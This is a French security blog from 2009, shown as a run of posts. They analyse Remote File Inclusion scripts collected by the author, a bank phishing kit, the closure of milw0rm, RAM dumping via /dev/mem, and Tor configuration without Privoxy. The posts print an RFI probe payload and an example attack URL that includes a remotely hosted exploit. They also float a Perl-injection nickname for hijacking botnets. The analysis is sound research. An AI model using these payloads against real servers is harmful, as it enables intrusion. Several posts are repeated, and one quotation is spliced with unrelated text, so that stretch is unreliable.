La liste des fichiers visés par ces pirates est elle aussi relativement décevante. Au vu du code de ces RFI scanners, ce n'est pas étonnant, mais ils arrosent vraiment large puisque généralement tous les liens d'une page web sont testés. Il ne testent même pas si le fichier est un fichier php, ou s'il correspond réellement à un site vulnérable.
Les fichiers php visés ainsi que les variables correspondent à ce qui se trouve sur milw0rm (ce qui est loin d'être étonnant).
5/ Autres fichiers dignes d'interêt
J'ai trouvé également au cours de ces recherches un kit de phishing préparé. Il concernait la "Commonwealth Bank of Australia 2009", et comportait les fichiers suivants:
a.php, ago.php, complete.php, index.php, index2.php, mastercard.php, wps.html.
Le wps.html contenait le message de phishing classique:
"Dear Customer, With Maestro Card Number 560279XXXXXXXXX or MasterCard. You have been chosen by the Online Department to take part in our quick and easy survey" etc...
Avec un lien visible vers www3.netbank.commbank.com.au mais qui pointe réellement vers www.netbank.commbank-online.com/images/netbank/survey.html ...
Rien de bien neuf dans le phishing. Une recherche google montre que la banque australienne a été victime d'un phishing en mai 2009. Mon fichier récolté date de juin, je ne sais pas si c'est le même.
6/Et pour la suite?
En attendant un Remote File Inclusion - Part III, quelles sont les pistes à creuser?
-Ajouter à son tour son adresse mail dans les fichiers RFI afin de vérifier leur utilisation. Ceci est élégant, sans risque, mais n'est pas pleinement fonctionnel. Je pense que des configurations php peuvent être vulnérable alors que la configuration empêche l'envoi de mail.
-Réécrire un bot 'safe' qui n'effectue aucune action offensive, mais qui répond aux questions de statut. Ainsi, il est possible d'entrer sur un canal, et observer les commandes données par le botmaster. A ce sujet, et pour avoir vu le résultat sur les canaux dont je me faisais kicker, je pense que le recrutement des bots se fait en deux temps: Scan intensif, arrivée sur le canal. Selon l'état du bot, il doit être redirigé vers un canal secondaire. Ce canal secondaire pourrait être plus instructif que le premier.
-Trouver la primo-infection. Le RFI est basé sur un serveur qui contient un fichier offensif. Une fois un serveur vulnérable trouvé, il sera possible de lui faire héberger des fichiers RFI pour continuer l'infection. Mais quel a été le premier fichier? Je pense que l'état des serveurs hébérgeant ces fichiers RFI serait intéressante. Toutefois, certains de ces RFI doivent être directement hébérgés par le serveur appartenant au pirate.
-Télécharger des fichiers de logs des serveurs webs pour connaître la fréquence à laquelle ces fichiers sont appelés.
-Les bots connectés sur le chan IRC n'obéissent qu'aux ordres du botmaster. Je me demande à quel point il serait possible de faire une injection perl pour qu'il obéisse à un autre botmaster; genre utiliser comme nick: admin') #
-Envoyer un mail à une des adresses et se faire passer pour une machine vulnérable afin de voir la réaction de l'attaquant.
Bien entendu, ces options deviennent limites du point de vue éthique et posent des questions quant à leur mise en oeuvre. Pour l'instant, je n'ai pas mis en place ces otpions.
CONCLUSION/
Après m'être documenté sur les botnets, et plus particulièrement sur les bots perl, PHP et les RFI, je partage les conclusions de ces auteurs. Conclusions partagées par pas mal d'auteurs traitant de honeypots d'ailleurs.
Analyser ces botnets reste très intéressant mais les conclusions restent les mêmes: La majorité de ces fichiers que j'ai pu récupérer grâce à mon outil semblent être utilisés par du kiddie. Ceci est dû à la fois au type de faille employée (testable à grande échelle, scripts fournis prêts à l'emploi) mais peut-être aussi à leur manière de faire. Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir.
jeudi 23 juillet 2009
Security Fail
L'air du temps est au FAIL. On ne compte plus les failblog, les most epic fail, et la security fail chez News0ft et Sid.
Pourquoi ne pas croiser le Web2.0 FAIL avec la sécurité?
Actuellement, le service Web2.0 qui fait parler de lui est Twitter. Réseau social, suivi d'informations, fil d'actualités, on ne sait pas forcément très bien le définir (et encore moins son modèle économique), mais les faits sont là: de plus en plus de monde l'utilise et on lui prédit un avenir radieux.
Dernièrement, une "faille" (les guillemets sont de rigueurs) dans Twitter a permis à un pirate de récupérer des documents confidentiels concernant l'avenir de Twitter, son modèle économique, ses projections financières etc...
On a de nouveau entendu parler du cloud, du Web2.0 sur l'air de "It's Five AM, do you know where your datas are?", de la sécurité etc...
Ceci dit, la faille n'en est pas une. Un document de Techcrunch l'explique très bien.
Tout a reposé sur le temps libre d'un hacker français qui a pu trouver le password de la boite gmail d'un employé, puis d'un autre, etc.. en se basant sur deux points:
Alternativement, le blog de Matthieu Suiche, parlait lui d'une faille de conception entre Twitter et TwitPic en deux posts: "Security 2.0 is not a failure it's a nightmare" et "Security 2.0 Fairy tales and art of deception". Effectivement, ça n'est pas non plus une faille trouvée après une recherche poussée dans les fondements du code, mais la réaction de Twitter en devient glaçante. Et donc cette faille en est vraiment une: est-ce que Twitter comprend ce qu'est la sécurité, et pourquoi un PIN à 10^4 possibilités, c'est trop peu.
On a plus parlé de Britney Spears (son compte s'est fait pirater via cette faille) que de la faille en elle-même..
Les grandes questions de base concernant l'exposition de la vie privée (autant dans son exposition que dans l'impossibilité de sa non suppression par la suite) et concernant la localisation des données dans ce fameux cloud Web2.0 ne sont toujours pas abordée.
J'en profite pour faire un link vers un blog en anglais de C.Hoff, rationalsurvivability, qui a défaut de donner des solutions, pose souvent les bonnes questions (ce qui est souvent aussi important) concernant le duo infernal: Virtualisation + Cloud.
Pourquoi ne pas croiser le Web2.0 FAIL avec la sécurité?
Actuellement, le service Web2.0 qui fait parler de lui est Twitter. Réseau social, suivi d'informations, fil d'actualités, on ne sait pas forcément très bien le définir (et encore moins son modèle économique), mais les faits sont là: de plus en plus de monde l'utilise et on lui prédit un avenir radieux.
Dernièrement, une "faille" (les guillemets sont de rigueurs) dans Twitter a permis à un pirate de récupérer des documents confidentiels concernant l'avenir de Twitter, son modèle économique, ses projections financières etc...
On a de nouveau entendu parler du cloud, du Web2.0 sur l'air de "It's Five AM, do you know where your datas are?", de la sécurité etc...
Ceci dit, la faille n'en est pas une. Un document de Techcrunch l'explique très bien.
Tout a reposé sur le temps libre d'un hacker français qui a pu trouver le password de la boite gmail d'un employé, puis d'un autre, etc.. en se basant sur deux points:
- les utilisateurs emploient toujours le même mot de passe pour tous les services 'in the cloud' donc la connaissance d'un mot de passe permet d'accéder à tous les documents de l'user (google docs, MobileMe, etc..)
- l'industrie des services en ligne utilise toujours une case "Mot de passe oublié?" qui se base sur une question censée être secrète. Mais dans l'air du temps qui comprend les réseaux sociaux et l'étalement des données privées, des questions comme le nom de jeune fille de la mère, le nom du chien, ou les 4 derniers chiffres du numéro de téléphone ne sont plus des données secrètes.
Alternativement, le blog de Matthieu Suiche, parlait lui d'une faille de conception entre Twitter et TwitPic en deux posts: "Security 2.0 is not a failure it's a nightmare" et "Security 2.0 Fairy tales and art of deception". Effectivement, ça n'est pas non plus une faille trouvée après une recherche poussée dans les fondements du code, mais la réaction de Twitter en devient glaçante. Et donc cette faille en est vraiment une: est-ce que Twitter comprend ce qu'est la sécurité, et pourquoi un PIN à 10^4 possibilités, c'est trop peu.
On a plus parlé de Britney Spears (son compte s'est fait pirater via cette faille) que de la faille en elle-même..
Les grandes questions de base concernant l'exposition de la vie privée (autant dans son exposition que dans l'impossibilité de sa non suppression par la suite) et concernant la localisation des données dans ce fameux cloud Web2.0 ne sont toujours pas abordée.
J'en profite pour faire un link vers un blog en anglais de C.Hoff, rationalsurvivability, qui a défaut de donner des solutions, pose souvent les bonnes questions (ce qui est souvent aussi important) concernant le duo infernal: Virtualisation + Cloud.
jeudi 16 juillet 2009
Remote file inclusion - Part1
Les Remote File Inclusion, ou RFI sont un vecteur d'attaque largement employé aujourd'hui.
Son fonctionnement consiste à faire exécuter à un serveur web du code choisi par l'attaquant. La majorité des attaques concerne PHP bien qu'il soit possible d'imaginer tout type de service web vulnérable à ce type d'attaque.
Le principe de base repose sur le fait que des serveurs webs peuvent inclure des fichiers qui sont en dehors de leur racine, voire en dehors de leur machine.
Ainsi, il suffit au pirate de demander de choisir le fichier à inclure pour exécuter le code de son choix.
M'intéressant au phénomène, j'ai donc codé un tool qui me permet de rappatrier à des fins d'analyses ces fameux fichiers.
Je vous propose donc l'analyse des RFI que j'ai pu mener suite à l'utilisation de cet outil.
1/Analyse globale
Globalement, les fichiers récoltés sont souvent les mêmes.
La première récolte m'a donc rappatrié 161 fichiers provenant d'autant de sources différentes. Une fois vérifiés, j'ai obtenu au total 53 fichiers différents.
Et effectivement au fur et à mesure de mes analyses je me suis rendu compte que les fichiers sont extrêmement souvent les mêmes. Les différences sont souvent mimimes, et repose majoritairement sur le nom du pirate qui est modifié.
2/ Analyse des buts visés
Il est possible globalement de classifier ces fichiers dans trois familles. Les fichiers de découverte, les fichiers de récupération d'informations et enfin les fichiers offensifs.
A/
Les fichiers de découvertes. Généralement, ils sont très petits, par exemple:
<?php /* aJ99ID */ echo("di"."Ki"); die("di"."Ki"); /* aJ99ID */ ?>
Le principe consiste juste à appeler un site visé en incluant ce fichier et vérifier que la page rendue contient le mot diKidiKi. Le but doit uniquement servir à découvrir un serveur web vulnérable.
Enormément de fichiers tournent autour de variations de celui-ci, à chaque fois le commentaire et le nom change.
B/
Des fichiers de découverte plus profonde. Ils récupèrent souvent la configuration php, l'OS utilisé, la taille disque, etc..
Comme on peut le voir dans cet exemple, le pirate récupère son nom, l'OS, l'uid sous laquelle il tourne, la mémoire utilisé, l'espace disque utilisé et l'espace disque total.
Par exemple:
(...différentes fonctions définies)
echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
De même, ce type de fichiers existe en de multiples exemplaires, tous tournant autour de ce type de récupération de données. Ceci va permettre au pirate de se constituer une base de données un peu plus précise des machines vulnérables et de leur interêt relatif selon l'usage futur qu'il peut imaginer.
C/
Enfin, les fichiers qui sont des scripts réellement offensifs. Il existe les PHPshells et les bots. Le PHPshell qui revient le plus souvent est le C99shell et le r57shell.
Au travers d'une interface web, ils permettent d'obtenir un contrôle complet de la machine visée.
Voir par exemple http://www.honeynet.cz/img/rfi-c99.jpg qui donne une bonne idée des possibilités offertes par ce genre d'outil.
Enfin, les bots lancent un process qui va se connecter sur un canal IRC afin d'attendre des ordres donnés par le pirate.
Ces fichiers sont bien entendus uniquement différents de par le nom du pirate et des canaux IRC sur lesquels il doivent se connecter.
Bien entendu, plusieurs autres fichiers s'écartent de cette classification, ce qui sera vu dans un second post.
Son fonctionnement consiste à faire exécuter à un serveur web du code choisi par l'attaquant. La majorité des attaques concerne PHP bien qu'il soit possible d'imaginer tout type de service web vulnérable à ce type d'attaque.
Le principe de base repose sur le fait que des serveurs webs peuvent inclure des fichiers qui sont en dehors de leur racine, voire en dehors de leur machine.
Ainsi, il suffit au pirate de demander de choisir le fichier à inclure pour exécuter le code de son choix.
M'intéressant au phénomène, j'ai donc codé un tool qui me permet de rappatrier à des fins d'analyses ces fameux fichiers.
Je vous propose donc l'analyse des RFI que j'ai pu mener suite à l'utilisation de cet outil.
1/Analyse globale
Globalement, les fichiers récoltés sont souvent les mêmes.
La première récolte m'a donc rappatrié 161 fichiers provenant d'autant de sources différentes. Une fois vérifiés, j'ai obtenu au total 53 fichiers différents.
Et effectivement au fur et à mesure de mes analyses je me suis rendu compte que les fichiers sont extrêmement souvent les mêmes. Les différences sont souvent mimimes, et repose majoritairement sur le nom du pirate qui est modifié.
2/ Analyse des buts visés
Il est possible globalement de classifier ces fichiers dans trois familles. Les fichiers de découverte, les fichiers de récupération d'informations et enfin les fichiers offensifs.
A/
Les fichiers de découvertes. Généralement, ils sont très petits, par exemple:
<?php /* aJ99ID */ echo("di"."Ki"); die("di"."Ki"); /* aJ99ID */ ?>
Le principe consiste juste à appeler un site visé en incluant ce fichier et vérifier que la page rendue contient le mot diKidiKi. Le but doit uniquement servir à découvrir un serveur web vulnérable.
Enormément de fichiers tournent autour de variations de celui-ci, à chaque fois le commentaire et le nom change.
B/
Des fichiers de découverte plus profonde. Ils récupèrent souvent la configuration php, l'OS utilisé, la taille disque, etc..
Comme on peut le voir dans cet exemple, le pirate récupère son nom, l'OS, l'uid sous laquelle il tourne, la mémoire utilisé, l'espace disque utilisé et l'espace disque total.
Par exemple:
(...différentes fonctions définies)
echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
De même, ce type de fichiers existe en de multiples exemplaires, tous tournant autour de ce type de récupération de données. Ceci va permettre au pirate de se constituer une base de données un peu plus précise des machines vulnérables et de leur interêt relatif selon l'usage futur qu'il peut imaginer.
C/
Enfin, les fichiers qui sont des scripts réellement offensifs. Il existe les PHPshells et les bots. Le PHPshell qui revient le plus souvent est le C99shell et le r57shell.
Au travers d'une interface web, ils permettent d'obtenir un contrôle complet de la machine visée.
Voir par exemple http://www.honeynet.cz/img/rfi-c99.jpg qui donne une bonne idée des possibilités offertes par ce genre d'outil.
Enfin, les bots lancent un process qui va se connecter sur un canal IRC afin d'attendre des ordres donnés par le pirate.
Ces fichiers sont bien entendus uniquement différents de par le nom du pirate et des canaux IRC sur lesquels il doivent se connecter.
Bien entendu, plusieurs autres fichiers s'écartent de cette classification, ce qui sera vu dans un second post.
jeudi 9 juillet 2009
Le site milw0rm ferme
Update: Le site milw0rm est de nouveau accessible.
Il n'y a pas d'informations particulières expliquant la raison de ce retour on-line.
Ce que je disais sur l'importance de ce site reste bien entendu valable.
--
Milw0rm est un site des années 90 qui a existé jusqu'à aujourd'hui.
Il agrégeait tout type de failles de sécurité, en les rendant accessible gratuitement.
C'était un outil intéressant à plus d'un titre. Bien que permettant à tous les hackers en herbe de télécharger et tester les exploits, il permettait aussi d'une part aux équipes de sécurité d'analyser ces exploits et d'autre part, du fait de leur diffusion, de sensibiliser les équipes informatiques aux problématiques de sécurité.
Les attaques étaient de plus directement exploitables pour la plupart, notemment
celle de Remote File Inclusion qui contenaient l'exploit fonctionnel, directement appelable depuis sa page. Ainsi, nous pouvions lancer une attaque
http://site/web/script.php?var=http://www.milw0rm.com/exploits/1234
Plusieurs scripts offensifs permettaient d'ailleurs d'appeler directement le site milw0rm par son numéro d'exploit, preuve s'il en est de son efficacité.
Ce site a fermé aujourd'hui, le 9 juillet.
L'auteur (str0ke) a simplement laissé un message laissant entendre qu'il n'avait plus suffisement de temps à accorder à ce site web:
Le blog de sid en a plusieurs fois parlé, les failles de sécurité se monnayent aujourd'hui. Je repense au fameux "no more free bugs".
Lors de l'ouverture de milw0rm les failles de sécurité étaient cherchées comme un jeu et servaient de faire valoir à l'auteur. Encore une fois, je peux reciter le fameux "Smashing the stack for fun and profit" d'Aleph One. Smashing the stack, tout d'abord "for fun".
Aujourd'hui, ne reste t'il plus que le profit, sans fun?
Il n'y a pas d'informations particulières expliquant la raison de ce retour on-line.
Ce que je disais sur l'importance de ce site reste bien entendu valable.
--
Milw0rm est un site des années 90 qui a existé jusqu'à aujourd'hui.
Il agrégeait tout type de failles de sécurité, en les rendant accessible gratuitement.
C'était un outil intéressant à plus d'un titre. Bien que permettant à tous les hackers en herbe de télécharger et tester les exploits, il permettait aussi d'une part aux équipes de sécurité d'analyser ces exploits et d'autre part, du fait de leur diffusion, de sensibiliser les équipes informatiques aux problématiques de sécurité.
Les attaques étaient de plus directement exploitables pour la plupart, notemment
celle de Remote File Inclusion qui contenaient l'exploit fonctionnel, directement appelable depuis sa page. Ainsi, nous pouvions lancer une attaque
http://site/web/script.php?var=http://www.milw0rm.com/exploits/1234
Plusieurs scripts offensifs permettaient d'ailleurs d'appeler directement le site milw0rm par son numéro d'exploit, preuve s'il en est de son efficacité.
Ce site a fermé aujourd'hui, le 9 juillet.
L'auteur (str0ke) a simplement laissé un message laissant entendre qu'il n'avait plus suffisement de temps à accorder à ce site web:
"Well, this is my goodbye header for milw0rm. I wish IJe pense qu'il est dommage que ce genre de site ferme, nous avons aujourd'hui de plus en plus de marchandisation d'exploits, ce qui n'est pas forcément de bon augure.
had the time I did in the past to post exploits, I just
don't :(. For the past 3 months I have actually done
a pretty crappy job of getting peoples work out fast
enough to be proud of, 0 to 72 hours (taking off
weekends) isn't fair to the authors on this site. I
appreciate and thank everyone for their support
in the past.
Be safe, /str0ke"
Le blog de sid en a plusieurs fois parlé, les failles de sécurité se monnayent aujourd'hui. Je repense au fameux "no more free bugs".
Lors de l'ouverture de milw0rm les failles de sécurité étaient cherchées comme un jeu et servaient de faire valoir à l'auteur. Encore une fois, je peux reciter le fameux "Smashing the stack for fun and profit" d'Aleph One. Smashing the stack, tout d'abord "for fun".
Aujourd'hui, ne reste t'il plus que le profit, sans fun?
samedi 27 juin 2009
Attaques sur la mémoire vive; antiphishing chez firefox
La RAM est un vecteur de divulgation d'information intéressant. L'ensemble des opérations effectuées par le système est enregistrée par celle-ci, aussi est elle un bon candidat pour lire des données. Que ce soit des documents, des clés de chiffrement, des clés de sessions ou tout autre information. Je citerai entre autre l'attaque Cold-boot, ingénieuse et spectaculaire qui permet de retrouver des clés de chiffrement de disque durs.
Je propose un article sur une étude rapide de la mémoire vive d'un système linux (le mien, en l'occurence). Cette étude se base en deux étapes, la première consiste sur le meilleur moyen d'accéder à cette mémoire, la seconde sur un cas concret d'analyse de données nous menant sur les mécanismes d'antiphishing de firefox 2.
1/
Comment accéder à la RAM d'une machine.
La mémoire sous linux est directement accessible via /dev/mem. C'est un fichier spécial de type caractère, le tout premier:
Se pose maintenant la question d'accès à ces données. La première méthode consiste à passer root puis à dumper le fichier périphérique /dev/mem dans un fichier local et à l'analyser. Cette méthode permet d'obtenir une image statique de la mémoire pour analyse future.
Les outils classiques d'analyse de contenu sont utilisables, comme strings suivi de grep pour rechercher des motifs textes, ou des outils comme ceux de cgsecurity (photorec et tesdisk).
A titre d'exemple encore une fois, sur mes 128Mo de RAM analysées, photorec me trouve 283 fichiers, dont plusieurs scripts shells et programmes elf ( ce qui semble logique).
Un seconde méthode permettant d'analyser la RAM, beaucoup plus longue consiste à utiliser hexdump. En effet, hexdump -C /dev/mem fournit le contenu de la RAM sous forme hexadécimale, bien plus lisible.
C'est d'ailleurs en consultant ce fichier dump hexa que j'ai découvert une série de messages uggc:// ce qui m'a mis intrigué, du fait de a ressemblance avec http:// (aux caractères près). La deuxième partie de ce post donne l'explication de ces URL encodées.
2/
Pour ceux qui ne connaisse pas le rot13, uggc correspond à un décalage de 13 lettres dans l'alphabet du mot http://. Or donc, je trouvai dans la RAM d'une machine une grande quantité de lien http encodés en rot13.
De plus, les domaines considérés ressemblaient tous à des domaines de phishing, de faux sites bancaires ou autres sites à la légalité douteuse. Enfin, la majorité des sites étaient fermés.
Une analyse de la machine montra qu'elle n'était pas infectée, ni vérolée, néanmoins, la provenance de ces URL était intriguante. Lors du dump de la mémoire rien de spécifique n'était lancé sur cette machine, si ce n'était firefox v2.
Et firefox propose une extension appelée "safe browsing".
Cette extension pour firefox v2 est un service proposé par google http://sb.google.com/safebrowsing/update qui donne les dernières mises à jour d'une liste de sites web contrefaits, de malfaçons, ou de site référencés comme phisher. La syntaxe est la suivante: http://sb.google.com/safebrowsing/update?version=goog-white-domain:1:1 pour avoir la liste des domaines whitelistés par google depuis le numéro 1.
Firefox2 télécharge et stocke cette liste de sites dans le fichier urlclassifier2.sqlite, situé dans le profil de l'user. Ce profil est effectivement (comme son nom l'indique) une base de données sqlite:
J'ai de fait ma réponse sur la raison d'être de trouver dans la mémoire d'une machine une quantité extrêmement grande d'URL encodées en ROT13.
Suite a ces information, une question reste: pourquoi donc ces URL sont-elles codées en ROT13?
Une rapide recherche à l'aide de google codesearch amène à un fichier source appelé nsUrlClassifierDBService.cpp, dont un commentaire attire l'attention:
Firefox 2 n'est plus vraiment utilisé de nos jours. Qu'en est il de firefox 3?
Firefox 3 utilise la nouvelle version de la spec google disponible à l'adresse http://code.google.com/p/google-safe-browsing/wiki/Protocolv2Spec
Ainsi, firefox utilise un fichier urlclassifier3.sqlite et un fichier de clé urlclassifier3key.txt. Cette méthode semble plus sûre pour éviter de se faire détecter par des antivirus. Seul les hashs sont calculés et comparés. Les détails de l'implémentation antiphishing sont présentés chez mozilla.
CONCLUSION/
Une simple analyse de RAM nous a emmenés très loin de la recherche initiale, sur les mécanismes d'antiphishing de firefox; ceci restant intéressant, j'ai axé la seconde partie de l'article sur ce point.
Cette analyse de RAM apprend beaucoup de choses sur le fonctionnement de la machine, notamment sur les caches utilisés. J'ai été surpris de retrouver certains documents toujours en RAM quelques jours après utilisation.
Pour éviter les accès à cette RAM, il faudrait que je me penche sans doute sur les outils existants permettant soit de flusher l'intégralité des caches RAM, ce qui pourrait être improductif, soit de flusher les caches RAM d'une application particulière lors de sa fermeture.
Je propose un article sur une étude rapide de la mémoire vive d'un système linux (le mien, en l'occurence). Cette étude se base en deux étapes, la première consiste sur le meilleur moyen d'accéder à cette mémoire, la seconde sur un cas concret d'analyse de données nous menant sur les mécanismes d'antiphishing de firefox 2.
1/
Comment accéder à la RAM d'une machine.
La mémoire sous linux est directement accessible via /dev/mem. C'est un fichier spécial de type caractère, le tout premier:
$ ls -l /dev/memCe fichier représente la mémoire complète physique du système. Un autre fichier important est le /proc/iomem indiquant l'état du découpage de la mémoire:
crw-r----- 1 root kmem 1, 1 2008-12-31 17:31 /dev/mem
$ cat /proc/iomemOn peut voir que mon système possède 07fbffff octets de RAM, soit 128Mo, ce qui est effectivement le cas.
00000000-0000ffff : reserved
00010000-0009ffff : System RAM
000a0000-000bffff : Video RAM area
000c0000-000c7fff : Video ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-07fbffff : System RAM
00100000-00432e07 : Kernel code
00432e08-00586313 : Kernel data
005d3000-005fc51b : Kernel bss
01101000-01101fff : Local APIC
efffb000-efffb0ff : 0000:00:14.0
efffb000-efffb0ff : 8139too
efffc000-efffc0ff : 0000:00:13.0
efffc000-efffc0ff : 8139too
efffd000-efffd0ff : 0000:00:12.0
efffd000-efffd0ff : 8139too
ffff0000-ffffffff : reserved
Se pose maintenant la question d'accès à ces données. La première méthode consiste à passer root puis à dumper le fichier périphérique /dev/mem dans un fichier local et à l'analyser. Cette méthode permet d'obtenir une image statique de la mémoire pour analyse future.
Les outils classiques d'analyse de contenu sont utilisables, comme strings suivi de grep pour rechercher des motifs textes, ou des outils comme ceux de cgsecurity (photorec et tesdisk).
A titre d'exemple encore une fois, sur mes 128Mo de RAM analysées, photorec me trouve 283 fichiers, dont plusieurs scripts shells et programmes elf ( ce qui semble logique).
Un seconde méthode permettant d'analyser la RAM, beaucoup plus longue consiste à utiliser hexdump. En effet, hexdump -C /dev/mem fournit le contenu de la RAM sous forme hexadécimale, bien plus lisible.
C'est d'ailleurs en consultant ce fichier dump hexa que j'ai découvert une série de messages uggc:// ce qui m'a mis intrigué, du fait de a ressemblance avec http:// (aux caractères près). La deuxième partie de ce post donne l'explication de ces URL encodées.
2/
Pour ceux qui ne connaisse pas le rot13, uggc correspond à un décalage de 13 lettres dans l'alphabet du mot http://. Or donc, je trouvai dans la RAM d'une machine une grande quantité de lien http encodés en rot13.
De plus, les domaines considérés ressemblaient tous à des domaines de phishing, de faux sites bancaires ou autres sites à la légalité douteuse. Enfin, la majorité des sites étaient fermés.
Une analyse de la machine montra qu'elle n'était pas infectée, ni vérolée, néanmoins, la provenance de ces URL était intriguante. Lors du dump de la mémoire rien de spécifique n'était lancé sur cette machine, si ce n'était firefox v2.
Et firefox propose une extension appelée "safe browsing".
Cette extension pour firefox v2 est un service proposé par google http://sb.google.com/safebrowsing/update qui donne les dernières mises à jour d'une liste de sites web contrefaits, de malfaçons, ou de site référencés comme phisher. La syntaxe est la suivante: http://sb.google.com/safebrowsing/update?version=goog-white-domain:1:1 pour avoir la liste des domaines whitelistés par google depuis le numéro 1.
Firefox2 télécharge et stocke cette liste de sites dans le fichier urlclassifier2.sqlite, situé dans le profil de l'user. Ce profil est effectivement (comme son nom l'indique) une base de données sqlite:
$ sqlite3 urlclassifier2.sqliteNous retrouvons bien la liste des URL ROT13-encodées.
SQLite version 3.5.6
Enter ".help" for instructions
sqlite> .schema
CREATE TABLE 'goog_black_enchash' (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE 'goog_black_url' (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE 'goog_white_domain' (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE 'goog_white_url' (key TEXT PRIMARY KEY, value TEXT);
sqlite> select key from goog_white_domain limit 3;
02onapbec.pbz
163.pbz/cubgbf
1fg-naancbyvf.pbz
sqlite> .quit
J'ai de fait ma réponse sur la raison d'être de trouver dans la mémoire d'une machine une quantité extrêmement grande d'URL encodées en ROT13.
Suite a ces information, une question reste: pourquoi donc ces URL sont-elles codées en ROT13?
Une rapide recherche à l'aide de google codesearch amène à un fichier source appelé nsUrlClassifierDBService.cpp, dont un commentaire attire l'attention:
// We use ROT13 versions of keys to avoid antivirus utilities fromAinsi, firefox2 utilise une simple rotation de 13 caractères pour que leurs listes d'URL ne se fassent pas détecter par des antivirus, ce qui semble surprenant de premier abord.
// flagging us as a virus.
nsCString keyROT13(key);
Rot13Line(keyROT13);
Firefox 2 n'est plus vraiment utilisé de nos jours. Qu'en est il de firefox 3?
Firefox 3 utilise la nouvelle version de la spec google disponible à l'adresse http://code.google.com/p/google-safe-browsing/wiki/Protocolv2Spec
Ainsi, firefox utilise un fichier urlclassifier3.sqlite et un fichier de clé urlclassifier3key.txt. Cette méthode semble plus sûre pour éviter de se faire détecter par des antivirus. Seul les hashs sont calculés et comparés. Les détails de l'implémentation antiphishing sont présentés chez mozilla.
CONCLUSION/
Une simple analyse de RAM nous a emmenés très loin de la recherche initiale, sur les mécanismes d'antiphishing de firefox; ceci restant intéressant, j'ai axé la seconde partie de l'article sur ce point.
Cette analyse de RAM apprend beaucoup de choses sur le fonctionnement de la machine, notamment sur les caches utilisés. J'ai été surpris de retrouver certains documents toujours en RAM quelques jours après utilisation.
Pour éviter les accès à cette RAM, il faudrait que je me penche sans doute sur les outils existants permettant soit de flusher l'intégralité des caches RAM, ce qui pourrait être improductif, soit de flusher les caches RAM d'une application particulière lors de sa fermeture.
jeudi 25 juin 2009
Tor sans Privoxy?
Tor est un logiciel permettant d'utiliser les services internet de manière anonyme.
Cet anonymat repose sur l'adresse IP source présentée aux services visités et uniquement cette IP source.
Tor est basé sur un nuage de noeuds Tor, dans lequel la communication client entre, effectue un certain nombre d'opérations de routage, puis s'extrait par un noeud de sortie.
Le destinataire ne connaît donc que l'IP du noeud de sortie Tor, et tor est construit de façon à ce que même le possesseur du noeud de sortie ne puisse pas reconstruire le chemin menant à l'IP source réelle.
Ceci dit, un internaute laisse énormément plus d'informations personnelles qu'une simple IP source. La nature même du trafic peut renseigner sur l'identité de l'internaute (consultation de sa messagerie. Message laissé sur un forum, etc..) Les outils réseaux comme un navigateur web fournissent de plus un grand nombre d'informations au site distant: plateforme utilisé, version, encodage utilisé. Ces informations peuvent être alors utilisées pour tracer l'internaute.
Il existe de nombreux autres problèmes concernant le surf sur le web ou l'insertion judicieuse de scripts javascripts ou d'enregistrement DNS permettent de tracer l'IP source réelle naviguant sur des pages web.
Consulter la FAQ de Tor à ce sujet sur https://wiki.torproject.org/noreply/TheOnionRouter/TorFAQ
Pour le surf internet, Tor recommande Privoxy. Nous verrons que privoxy n'est en aucun cas incontournable. Tout d'abord nous verrons succintement comment fonctionne privoxy, ensuite comment l'utiliser sans privoxy tout en conservant un niveau d'anonymat acceptable.
Les recommandations faites pour les clients web seront vraies pour tout type de client internet.
1/
Le fonctionnement de Tor.
Tor n'est pas un proxy HTTP. Toute tentative d'utilisation de Tor comme proxy HTTP se solde par un message:
(Le message d'erreur vient de tor et non de wget)
Privoxy est un proxy HTTP pouvant se chaîner sur un proxy socks. Ainsi, la chaîne complète est:
Le destinataire ne peut pas remonter jusqu'à la source. Privoxy propose aussi de nombreuses extensions permettant d'anonymiser également les informations envoyées par le navigateur. La conjonction de ces deux facteurs, anonymat de Tor au niveau IP et anonymat de privoxy au niveau client, justifie cet usage.
Ceci dit, nous pouvons nous en passer.
2/
Un proxy HTTP permet d'effectuer des requêtes HTTP sans réaliser des requêtes DNS préalables. Pour se passer de privoxy, il faudra donc utiliser le proxy socks, faire attention aux requêtes DNS et faire attention aux informations envoyées par les clients.
Firefox permet d'utiliser un proxy internet socks:
Concernant les autres logiciels, il suffit de les paramétrer pour utiliser socks.
A titre d'exemple, wget ne sait pas utiliser un proxy socks, mais curl le peut:
Ce message d'erreur sera indiqué également lorsque firefox sera utilisé. Ce message est bénin tant que le risque pris par le téléchargement est fait à partir d'adresses IP connues ou que le DNS utilisé est sûr et fiable, ce qui n'est pas forcément toujours le cas.
Pour éviter ce message, deux possibilités sont offertes:
A/
Utiliser un paramétrage de l'outil. Concernant firefox, il suffit de taper about:config dans la barre d'adresse, chercher la clé network.proxy.socks_remote_dns et la mettre à true. Pour curl, utiliser le flag --socks5-hostname:
B/
Une autre méthode consiste à utiliser le proxy DNS que peut mettre en oeuvre tor. Une règle iptables suffira pour rediriger toutes les requêtes DNS vers ce service tor
Cette directive tor est indiquée par:
Donc une solution consiste à ajouter une ligne:
Puis à rediriger les requêtes provenant de chaque client vers ce circuit tor; par exemple pour le client se présentant à partir de 192.168.1.1:
Bien entendu, ce n'est pas suffisant. Il faut de plus interdire toute autre communication DNS afin d'éviter qu'une requête puisse sortir.
Enfin, concernant les informations renvoyées par les clients, il est également possible de limiter ou de limiter cette fuite. Firefox permet également de modifier son user-agent, et d'autres informations. Il faut de plus faire attention aux extensions ajoutées pouvant elles aussi divulguer de l'information.
curl permet de modifier son User-agent ou tout autre champ d'entêtes web.
CONCLUSION/
Donc, en paramétrant finement son client web, en utilisant des règles de filtrage iptables il est parfaitement possible de surfer à l'aide de tor sans privoxy tout en conservant un niveau d'anonymat aussi haut que celui offert par tor+privoxy.
Privoxy n'est donc qu'une facilité de configuration pour les utilisateurs.
